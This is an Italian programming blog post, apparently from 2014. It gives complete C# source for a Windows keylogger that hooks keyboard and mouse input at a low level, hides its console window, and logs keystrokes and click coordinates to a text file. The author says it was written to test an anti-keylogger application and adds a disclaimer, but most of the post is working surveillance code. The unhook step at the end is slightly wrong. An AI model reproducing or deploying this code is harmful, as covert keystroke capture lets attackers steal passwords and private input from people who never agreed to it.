Imaginsystems


Tecniche di Programmazione - Codici Sorgenti - News Informatiche
Archivio Posts
Anno 2014

Anno 2013

Anno 2012
Statistiche
  • Views Home Page: 71.619
  • Views Posts: 542.502
  • Views Gallerie: 0
  • n° Posts: 210
  • n° Commenti: 224

C# - Come creare un Keylogger e studiare il suo funzionamento.

C# - Come creare un Keylogger di Tastiera e Mouse e studiare il suo funzionamento.


  

Oggi voglio mettervi ha disposizione una funzione che ho trovato su internet che serve per catturare o meglio intercettare la pressione dei tasti da tastiera e di registrarle in un file di Log di testo.

(ATTENZIONE!! Per i più maliziosi informo che tutti gli antivirus lo riconoscono e pertanto lo eliminano o lo inseriscono nella cartella della quarantena...)

Il motivo che ho fatto questo articolo è dovuto al fatto che dovevo testare una applicazione che sarà il prossimo articolo sul Desktop Secure (Desktop Sicuro) . L'obbiettivo è di creare una Applicazione sicura hai Keylogger e hai sniffer di rete. Attualmente sono riuscito solo a rendere l'applicazione sicura hai Keylogger.

Premetto che per prima cosa dobbiamo importare delle DLL che ci aiuteranno a comunicare con il Sistema Operativo e che ci permetterà di interagirci ed ottenere cosi le informazioni dei tasti premuti.. Non useremo nessun timer o altre funzioni strane.. useremo direttamente gli Allert che il sistema operativo manda. Per quanto riguarda il mouse noi recupereremo soltanto la posizione x e y .

Aggiornerò questo articolo con due argomenti che avevo già trattato in passato gli HOOK , appena ho finito di studiare :-) nel frattempo vi allego un articolo dove troverete delle cose divertenti e utili  http://msdn.microsoft.com/it-it/magazine/cc188966(en-us).aspx .

CODICE VISUAL STUDIO 2010 - C#

        

using System;

using System.Diagnostics;

using System.Windows.Forms;

using System.Runtime.InteropServices;

using System.IO;


class Keylogger

{

    private const int WH_KEYBOARD_LL = 13;

    private const int WM_KEYDOWN = 0x0100;

    private static LowLevelKeyboardProc _proc = HookCallback;

    private static IntPtr _hookID = IntPtr.Zero;


    private static LowLevelMouseProc _procMouse = HookCallbackMouse;

    private static IntPtr _hookIDMouse = IntPtr.Zero;


    public static void Main()

    {

        var handle = GetConsoleWindow();


        // Hide

        ShowWindow(handle, SW_HIDE);


        _hookID = SetHook(_proc);

        _hookIDMouse = SetHookMouse(_procMouse);


        Application.Run();

        UnhookWindowsHookEx(_hookID);

        UnhookWindowsHookEx(_hookID);


    }


    private static IntPtr SetHookMouse(LowLevelMouseProc proc)

    {

        using (Process curProcess = Process.GetCurrentProcess())

        using (ProcessModule curModule = curProcess.MainModule)

        {

            return SetWindowsHookEx(WH_MOUSE_LL, proc,

                GetModuleHandle(curModule.ModuleName), 0);

        }

    }


    private static IntPtr SetHook(LowLevelKeyboardProc proc)

    {

        using (Process curProcess = Process.GetCurrentProcess())

        using (ProcessModule curModule = curProcess.MainModule)

        {

            return SetWindowsHookEx(WH_KEYBOARD_LL, proc,

                GetModuleHandle(curModule.ModuleName), 0);

        }

    }


    private delegate IntPtr LowLevelKeyboardProc(

        int nCode, IntPtr wParam, IntPtr lParam);

    private static IntPtr HookCallbackMouse(

      int nCode, IntPtr wParam, IntPtr lParam)

    {

        if (nCode >= 0 &&

            MouseMessages.WM_LBUTTONDOWN == (MouseMessages)wParam)

        {

            MSLLHOOKSTRUCT hookStruct = (MSLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(MSLLHOOKSTRUCT));

            Console.WriteLine(hookStruct.pt.x + ", " + hookStruct.pt.y);

            StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);

            sw.Write("Mouse Click " + hookStruct.pt.x + ", " + hookStruct.pt.y + "\r\n");

            sw.Close();

        }

        return CallNextHookEx(_hookID, nCode, wParam, lParam);

    }


    private static IntPtr HookCallback(

        int nCode, IntPtr wParam, IntPtr lParam)

    {

        if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)

        {

            int vkCode = Marshal.ReadInt32(lParam);

            Console.WriteLine((Keys)vkCode);

            StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);

            sw.Write((Keys)vkCode);

            sw.Close();

        }

        return CallNextHookEx(_hookID, nCode, wParam, lParam);

    }

  

    private const int WH_MOUSE_LL = 14;

    private delegate IntPtr LowLevelMouseProc(int nCode, IntPtr wParam, IntPtr lParam);


    private enum MouseMessages

    {

        WM_LBUTTONDOWN = 0x0201,

        WM_LBUTTONUP = 0x0202,

        WM_MOUSEMOVE = 0x0200,

        WM_MOUSEWHEEL = 0x020A,

        WM_RBUTTONDOWN = 0x0204,

        WM_RBUTTONUP = 0x0205

    }


    [StructLayout(LayoutKind.Sequential)]

    private struct POINT

    {

        public int x;

        public int y;

    }


    [StructLayout(LayoutKind.Sequential)]

    private struct MSLLHOOKSTRUCT

    {

        public POINT pt;

        public uint mouseData;

        public uint flags;

        public uint time;

        public IntPtr dwExtraInfo;

    }


    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

    private static extern IntPtr SetWindowsHookEx(int idHook,

        LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);


    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

    [return: MarshalAs(UnmanagedType.Bool)]

    private static extern bool UnhookWindowsHookEx(IntPtr hhk);


    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,

        IntPtr wParam, IntPtr lParam);


    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]

    private static extern IntPtr GetModuleHandle(string lpModuleName);


    [DllImport("kernel32.dll")]

    static extern IntPtr GetConsoleWindow();


    [DllImport("user32.dll")]

    static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);


    const int SW_HIDE = 0;


    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

    private static extern IntPtr SetWindowsHookEx(int idHook,

        LowLevelMouseProc lpfn, IntPtr hMod, uint dwThreadId);

}


Premetto che questo articolo non ha lo scopo di incentivare a creare Keylogger , ma solo per aiutare a capire come intercettare i tasti premuti per creare applicazioni che si avviano velocemente alla pressione dei tasti. Non sono responsabile del codice e ne l'uso che ne farete. 

By ImaginSystems & Queen Gin   

Categoria: C#
sabato, 26 apr 2014 Ore. 17.06

Messaggi collegati


Ora e Data
Mappa
Blogs Amici
    Copyright © 2002-2007 - Blogs 2.0
    dotNetHell.it | Home Page Blogs
    ASP.NET 2.0 Windows 2003